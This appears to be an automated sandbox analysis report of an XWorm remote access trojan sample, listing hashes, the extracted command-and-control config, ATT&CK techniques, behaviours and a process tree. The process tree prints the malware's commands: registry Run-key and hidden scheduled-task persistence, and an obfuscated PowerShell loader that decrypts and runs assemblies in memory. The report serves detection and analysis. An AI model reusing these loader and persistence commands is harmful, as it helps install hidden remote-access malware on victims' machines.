xworm | c80b0e1302fb244da88400f1ff9a8063659cac5d073824a34993bcad59d731b8

Analysis

max time kernel
141s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
14/01/2024, 05:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

dd7eeabf429f5446bab2e752cc32ad67.exe
Size

705KB
MD5

dd7eeabf429f5446bab2e752cc32ad67
SHA1

4316cb563c1e29c5aad6e6672a3f6c0c8809d414
SHA256

c80b0e1302fb244da88400f1ff9a8063659cac5d073824a34993bcad59d731b8
SHA512

91dd19c5950b7bd83abf3b4b3e494dc0567c7a70612b561988a28c0f72a04bf3f5a8067733fe8ee2e1a374ba5d46d5444392e6072b8064d76ece2d42ba6ba05b
SSDEEP

12288:hhZDn5uMIWx8oohmQBI7HYOAXy3HSKaKUbF0w+EQ:nZrnJsI74jXSSFPF0r

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

httpss.ddns.net:99

Mutex

qinaw9YeuAb7oGHf

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4304-224-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
82	3940	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	dd7eeabf429f5446bab2e752cc32ad67.exe

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\network.cmd	dd7eeabf429f5446bab2e752cc32ad67.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4920	apate.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\apatea = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\apate.exe"	reg.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4920 set thread context of 4304	4920	apate.exe	135

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
3976	PING.EXE
4524	PING.EXE
5016	PING.EXE

Suspicious behavior: EnumeratesProcesses 55 IoCs

pid	Process
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
4704	powershell.exe
4704	powershell.exe
4704	powershell.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
2744	dd7eeabf429f5446bab2e752cc32ad67.exe
3188	backgroundTaskHost.exe
3188	backgroundTaskHost.exe
3188	backgroundTaskHost.exe
3796	Conhost.exe
3796	Conhost.exe
3796	Conhost.exe
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe
3940	powershell.exe
3940	powershell.exe
3940	powershell.exe
1484	powershell.exe
1484	powershell.exe
1484	powershell.exe
5108	powershell.exe
5108	powershell.exe
5108	powershell.exe
1172	powershell.exe
1172	powershell.exe
1172	powershell.exe
4920	apate.exe
4920	apate.exe
4920	apate.exe
4920	apate.exe
4920	apate.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	dd7eeabf429f5446bab2e752cc32ad67.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	3188	backgroundTaskHost.exe
Token: SeDebugPrivilege	3796	Conhost.exe
Token: SeIncreaseQuotaPrivilege	3796	Conhost.exe
Token: SeSecurityPrivilege	3796	Conhost.exe
Token: SeTakeOwnershipPrivilege	3796	Conhost.exe
Token: SeLoadDriverPrivilege	3796	Conhost.exe
Token: SeSystemProfilePrivilege	3796	Conhost.exe
Token: SeSystemtimePrivilege	3796	Conhost.exe
Token: SeProfSingleProcessPrivilege	3796	Conhost.exe
Token: SeIncBasePriorityPrivilege	3796	Conhost.exe
Token: SeCreatePagefilePrivilege	3796	Conhost.exe
Token: SeBackupPrivilege	3796	Conhost.exe
Token: SeRestorePrivilege	3796	Conhost.exe
Token: SeShutdownPrivilege	3796	Conhost.exe
Token: SeDebugPrivilege	3796	Conhost.exe
Token: SeSystemEnvironmentPrivilege	3796	Conhost.exe
Token: SeRemoteShutdownPrivilege	3796	Conhost.exe
Token: SeUndockPrivilege	3796	Conhost.exe
Token: SeManageVolumePrivilege	3796	Conhost.exe
Token: 33	3796	Conhost.exe
Token: 34	3796	Conhost.exe
Token: 35	3796	Conhost.exe
Token: 36	3796	Conhost.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeIncreaseQuotaPrivilege	5036	powershell.exe
Token: SeSecurityPrivilege	5036	powershell.exe
Token: SeTakeOwnershipPrivilege	5036	powershell.exe
Token: SeLoadDriverPrivilege	5036	powershell.exe
Token: SeSystemProfilePrivilege	5036	powershell.exe
Token: SeSystemtimePrivilege	5036	powershell.exe
Token: SeProfSingleProcessPrivilege	5036	powershell.exe
Token: SeIncBasePriorityPrivilege	5036	powershell.exe
Token: SeCreatePagefilePrivilege	5036	powershell.exe
Token: SeBackupPrivilege	5036	powershell.exe
Token: SeRestorePrivilege	5036	powershell.exe
Token: SeShutdownPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeSystemEnvironmentPrivilege	5036	powershell.exe
Token: SeRemoteShutdownPrivilege	5036	powershell.exe
Token: SeUndockPrivilege	5036	powershell.exe
Token: SeManageVolumePrivilege	5036	powershell.exe
Token: 33	5036	powershell.exe
Token: 34	5036	powershell.exe
Token: 35	5036	powershell.exe
Token: 36	5036	powershell.exe
Token: SeIncreaseQuotaPrivilege	5036	powershell.exe
Token: SeSecurityPrivilege	5036	powershell.exe
Token: SeTakeOwnershipPrivilege	5036	powershell.exe
Token: SeLoadDriverPrivilege	5036	powershell.exe
Token: SeSystemProfilePrivilege	5036	powershell.exe
Token: SeSystemtimePrivilege	5036	powershell.exe
Token: SeProfSingleProcessPrivilege	5036	powershell.exe
Token: SeIncBasePriorityPrivilege	5036	powershell.exe
Token: SeCreatePagefilePrivilege	5036	powershell.exe
Token: SeBackupPrivilege	5036	powershell.exe
Token: SeRestorePrivilege	5036	powershell.exe
Token: SeShutdownPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeSystemEnvironmentPrivilege	5036	powershell.exe
Token: SeRemoteShutdownPrivilege	5036	powershell.exe
Token: SeUndockPrivilege	5036	powershell.exe
Token: SeManageVolumePrivilege	5036	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 4456	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	96
PID 2744 wrote to memory of 4456	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	96
PID 2744 wrote to memory of 4456	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	96
PID 4456 wrote to memory of 3976	4456	cmd.exe	98
PID 4456 wrote to memory of 3976	4456	cmd.exe	98
PID 4456 wrote to memory of 3976	4456	cmd.exe	98
PID 2744 wrote to memory of 400	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	100
PID 2744 wrote to memory of 400	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	100
PID 2744 wrote to memory of 400	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	100
PID 400 wrote to memory of 2136	400	cmd.exe	102
PID 400 wrote to memory of 2136	400	cmd.exe	102
PID 400 wrote to memory of 2136	400	cmd.exe	102
PID 2136 wrote to memory of 4916	2136	cmd.exe	104
PID 2136 wrote to memory of 4916	2136	cmd.exe	104
PID 2136 wrote to memory of 4916	2136	cmd.exe	104
PID 2136 wrote to memory of 4704	2136	cmd.exe	103
PID 2136 wrote to memory of 4704	2136	cmd.exe	103
PID 2136 wrote to memory of 4704	2136	cmd.exe	103
PID 2744 wrote to memory of 2004	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	107
PID 2744 wrote to memory of 2004	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	107
PID 2744 wrote to memory of 2004	2744	dd7eeabf429f5446bab2e752cc32ad67.exe	107
PID 2004 wrote to memory of 4524	2004	cmd.exe	106
PID 2004 wrote to memory of 4524	2004	cmd.exe	106
PID 2004 wrote to memory of 4524	2004	cmd.exe	106
PID 4704 wrote to memory of 3188	4704	powershell.exe	134
PID 4704 wrote to memory of 3188	4704	powershell.exe	134
PID 4704 wrote to memory of 3188	4704	powershell.exe	134
PID 4704 wrote to memory of 3796	4704	powershell.exe	128
PID 4704 wrote to memory of 3796	4704	powershell.exe	128
PID 4704 wrote to memory of 3796	4704	powershell.exe	128
PID 4456 wrote to memory of 1188	4456	cmd.exe	117
PID 4456 wrote to memory of 1188	4456	cmd.exe	117
PID 4456 wrote to memory of 1188	4456	cmd.exe	117
PID 4704 wrote to memory of 5036	4704	powershell.exe	116
PID 4704 wrote to memory of 5036	4704	powershell.exe	116
PID 4704 wrote to memory of 5036	4704	powershell.exe	116
PID 4704 wrote to memory of 2580	4704	powershell.exe	123
PID 4704 wrote to memory of 2580	4704	powershell.exe	123
PID 4704 wrote to memory of 2580	4704	powershell.exe	123
PID 2580 wrote to memory of 2772	2580	cmd.exe	122
PID 2580 wrote to memory of 2772	2580	cmd.exe	122
PID 2580 wrote to memory of 2772	2580	cmd.exe	122
PID 2772 wrote to memory of 1428	2772	cmd.exe	121
PID 2772 wrote to memory of 1428	2772	cmd.exe	121
PID 2772 wrote to memory of 1428	2772	cmd.exe	121
PID 2772 wrote to memory of 3940	2772	cmd.exe	120
PID 2772 wrote to memory of 3940	2772	cmd.exe	120
PID 2772 wrote to memory of 3940	2772	cmd.exe	120
PID 3940 wrote to memory of 1484	3940	powershell.exe	124
PID 3940 wrote to memory of 1484	3940	powershell.exe	124
PID 3940 wrote to memory of 1484	3940	powershell.exe	124
PID 3940 wrote to memory of 5108	3940	powershell.exe	125
PID 3940 wrote to memory of 5108	3940	powershell.exe	125
PID 3940 wrote to memory of 5108	3940	powershell.exe	125
PID 3940 wrote to memory of 1172	3940	powershell.exe	127
PID 3940 wrote to memory of 1172	3940	powershell.exe	127
PID 3940 wrote to memory of 1172	3940	powershell.exe	127
PID 2004 wrote to memory of 5016	2004	cmd.exe	129
PID 2004 wrote to memory of 5016	2004	cmd.exe	129
PID 2004 wrote to memory of 5016	2004	cmd.exe	129
PID 2004 wrote to memory of 4920	2004	cmd.exe	132
PID 2004 wrote to memory of 4920	2004	cmd.exe	132
PID 2004 wrote to memory of 4920	2004	cmd.exe	132
PID 4920 wrote to memory of 2384	4920	apate.exe	133

C:\Users\Admin\AppData\Local\Temp\dd7eeabf429f5446bab2e752cc32ad67.exe
"C:\Users\Admin\AppData\Local\Temp\dd7eeabf429f5446bab2e752cc32ad67.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "apatea" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4456
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 7
    3⤵
    - Runs ping.exe
    PID:3976
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "apatea" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe"
    3⤵
    - Adds Run key to start application
    PID:1188
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\network.cmd" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:400
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\network.cmd"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2136
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4704
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        
        PID:3188
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\network')
        5⤵
        
        PID:3796
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 52867' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network52867Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5036
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network52867Man.cmd"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2580
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\network.cmd';$tsUt='InvsChsoksChsesChs'.Replace('sChs', ''),'MyGuLayGuLinyGuLMoyGuLdyGuLulyGuLeyGuL'.Replace('yGuL', ''),'CofRLWpyfRLWTofRLW'.Replace('fRLW', ''),'RynMaeadynMaLinynMaeynMasynMa'.Replace('ynMa', ''),'LKTHSoaKTHSdKTHS'.Replace('KTHS', ''),'DejgFmcjgFmojgFmmpjgFmresjgFmsjgFm'.Replace('jgFm', ''),'EVnbrntVnbrrVnbryPVnbroiVnbrnVnbrtVnbr'.Replace('Vnbr', ''),'TrvKEoavKEonvKEosfvKEoovKEormvKEoFivKEonavKEolvKEoBlovKEockvKEo'.Replace('vKEo', ''),'SsauMplsauMitsauM'.Replace('sauM', ''),'ChaWZQrngeWZQrEWZQrxteWZQrnsiWZQronWZQr'.Replace('WZQr', ''),'CraAFeeaAFeataAFeeDaAFeeaAFecraAFeyaAFeptaAFeoaAFeraAFe'.Replace('aAFe', ''),'EafealafeaemafeaeafeantafeaAtafea'.Replace('afea', ''),'GetBbirCBbirurBbirrBbirentBbirPrBbirocBbiresBbirsBbir'.Replace('Bbir', ''),'FroDOVAmBDOVAaDOVAse6DOVA4DOVAStDOVAriDOVAngDOVA'.Replace('DOVA', '');powershell -w hidden;function QQIMT($nnQkb){$klSBW=[System.Security.Cryptography.Aes]::Create();$klSBW.Mode=[System.Security.Cryptography.CipherMode]::CBC;$klSBW.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$klSBW.Key=[System.Convert]::($tsUt[13])('yT6u+wxuZCEw+2Ke/hoFUENSTepNxK1YfSg3Q9LUsYE=');$klSBW.IV=[System.Convert]::($tsUt[13])('Y1Numy+DhTPIW6vldgj8vg==');$izNwQ=$klSBW.($tsUt[10])();$twnKm=$izNwQ.($tsUt[7])($nnQkb,0,$nnQkb.Length);$izNwQ.Dispose();$klSBW.Dispose();$twnKm;}function fxsUo($nnQkb){$JsxAz=New-Object System.IO.MemoryStream(,$nnQkb);$JjIHt=New-Object System.IO.MemoryStream;$OSEll=New-Object System.IO.Compression.GZipStream($JsxAz,[IO.Compression.CompressionMode]::($tsUt[5]));$OSEll.($tsUt[2])($JjIHt);$OSEll.Dispose();$JsxAz.Dispose();$JjIHt.Dispose();$JjIHt.ToArray();}$UIdWS=[System.IO.File]::($tsUt[3])([Console]::Title);$MfjGb=fxsUo (QQIMT ([Convert]::($tsUt[13])([System.Linq.Enumerable]::($tsUt[11])($UIdWS, 5).Substring(2))));$vuwwO=fxsUo (QQIMT ([Convert]::($tsUt[13])([System.Linq.Enumerable]::($tsUt[11])($UIdWS, 6).Substring(2))));[System.Reflection.Assembly]::($tsUt[4])([byte[]]$vuwwO).($tsUt[6]).($tsUt[0])($null,$null);[System.Reflection.Assembly]::($tsUt[4])([byte[]]$MfjGb).($tsUt[6]).($tsUt[0])($null,$null); "
      4⤵
      PID:4916
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c ping 127.0.0.1 -n 13 > nul && copy "C:\Users\Admin\AppData\Local\Temp\dd7eeabf429f5446bab2e752cc32ad67.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe" && ping 127.0.0.1 -n 13 > nul && "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe"
  2⤵
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 13
    3⤵
    - Runs ping.exe
    PID:5016
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4920
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:2384
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:4304

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 13
1⤵
- Runs ping.exe
PID:4524

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1484
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network52867Man')
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 52867' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network52867Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1172
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3796

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network52867Man.cmd';$tsUt='InvsChsoksChsesChs'.Replace('sChs', ''),'MyGuLayGuLinyGuLMoyGuLdyGuLulyGuLeyGuL'.Replace('yGuL', ''),'CofRLWpyfRLWTofRLW'.Replace('fRLW', ''),'RynMaeadynMaLinynMaeynMasynMa'.Replace('ynMa', ''),'LKTHSoaKTHSdKTHS'.Replace('KTHS', ''),'DejgFmcjgFmojgFmmpjgFmresjgFmsjgFm'.Replace('jgFm', ''),'EVnbrntVnbrrVnbryPVnbroiVnbrnVnbrtVnbr'.Replace('Vnbr', ''),'TrvKEoavKEonvKEosfvKEoovKEormvKEoFivKEonavKEolvKEoBlovKEockvKEo'.Replace('vKEo', ''),'SsauMplsauMitsauM'.Replace('sauM', ''),'ChaWZQrngeWZQrEWZQrxteWZQrnsiWZQronWZQr'.Replace('WZQr', ''),'CraAFeeaAFeataAFeeDaAFeeaAFecraAFeyaAFeptaAFeoaAFeraAFe'.Replace('aAFe', ''),'EafealafeaemafeaeafeantafeaAtafea'.Replace('afea', ''),'GetBbirCBbirurBbirrBbirentBbirPrBbirocBbiresBbirsBbir'.Replace('Bbir', ''),'FroDOVAmBDOVAaDOVAse6DOVA4DOVAStDOVAriDOVAngDOVA'.Replace('DOVA', '');powershell -w hidden;function QQIMT($nnQkb){$klSBW=[System.Security.Cryptography.Aes]::Create();$klSBW.Mode=[System.Security.Cryptography.CipherMode]::CBC;$klSBW.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$klSBW.Key=[System.Convert]::($tsUt[13])('yT6u+wxuZCEw+2Ke/hoFUENSTepNxK1YfSg3Q9LUsYE=');$klSBW.IV=[System.Convert]::($tsUt[13])('Y1Numy+DhTPIW6vldgj8vg==');$izNwQ=$klSBW.($tsUt[10])();$twnKm=$izNwQ.($tsUt[7])($nnQkb,0,$nnQkb.Length);$izNwQ.Dispose();$klSBW.Dispose();$twnKm;}function fxsUo($nnQkb){$JsxAz=New-Object System.IO.MemoryStream(,$nnQkb);$JjIHt=New-Object System.IO.MemoryStream;$OSEll=New-Object System.IO.Compression.GZipStream($JsxAz,[IO.Compression.CompressionMode]::($tsUt[5]));$OSEll.($tsUt[2])($JjIHt);$OSEll.Dispose();$JsxAz.Dispose();$JjIHt.Dispose();$JjIHt.ToArray();}$UIdWS=[System.IO.File]::($tsUt[3])([Console]::Title);$MfjGb=fxsUo (QQIMT ([Convert]::($tsUt[13])([System.Linq.Enumerable]::($tsUt[11])($UIdWS, 5).Substring(2))));$vuwwO=fxsUo (QQIMT ([Convert]::($tsUt[13])([System.Linq.Enumerable]::($tsUt[11])($UIdWS, 6).Substring(2))));[System.Reflection.Assembly]::($tsUt[4])([byte[]]$vuwwO).($tsUt[6]).($tsUt[0])($null,$null);[System.Reflection.Assembly]::($tsUt[4])([byte[]]$MfjGb).($tsUt[6]).($tsUt[0])($null,$null); "
1⤵
PID:1428

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network52867Man.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2772

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
928d36ad618a369ffebf44885d07cf81

SHA1
edf5a353a919c1873af8e6a0dfafa4c38c626975

SHA256
d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea

SHA512
4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
20KB

MD5
5c2342caf65042b5299f1246e1e88890

SHA1
3bcd9ccdc5495a85f32f0319799ce25f0fefab6c

SHA256
d3f0af66b3edfa51ee431f79e5968718236ee3a700f84432147b7a91b5f69a54

SHA512
1343ac491a13d127836e153ec35a6165ff31637bea248ee8b70b9ecdd732aae26fa890c2715883578b06d5c0096ffbbe8a83cca14d70324efc1b25934e2943d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a86111c96bb5b4abdf40523ea42a1f29

SHA1
d31d7d9cd2f4f89369c7205d92909336305bb977

SHA256
6ea5713609fac0b1ae357368275c5f86eba337f3271b61cd4be70718344b0930

SHA512
feef530c1d69efbd850e3441a1a7efc2ba0a7f6de7b34617734ba54857271585c438c93bb453e815c01d9666588cfb6925afe44c6647c23292983e7a17c0eafb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
21KB

MD5
426a7973b089449aa6a555b35fd6dd16

SHA1
448eac4a5f5683d09a7edf413779ce1e23a68eca

SHA256
faf4e0d7f0ecc594d3a5172c7821dca7e89ce94028463bca6cffea33142571ca

SHA512
45ac6adcda6770fdcb4cdb15c1f39423559d76f744df8036fee0e20d0deaeb7c4f00727b454e34aba5d86c20f2f8370df135ad604d3c4deda61142707c0f1916

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
2c9221acedc11ada9c99aa44bd1e20a1

SHA1
d834f79f5fe38fe6a6082122182fab92351ff519

SHA256
77fdf2f1f014f3f8577ee72978b97c6c0bf68583c64479f767f76e1d014fffef

SHA512
fd35b93165e825b3e55035a45fb2721bce2adc6072c53660b66e267e9c55b2cb49af9c11036567473832474c2db6908f986ac0a358b987d884e60706556cabc7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jifn0i2.5vg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apate.exe

Filesize
107KB

MD5
ac3da634273656fd3b18605d22d73783

SHA1
791d9f1c89bc3cc6526b8013352d2a044b82271b

SHA256
6361c3debfd4fe0bdc8a72dd97a6f1b7aef7ba4df7a2fe1fb0ef10e49ce69f2b

SHA512
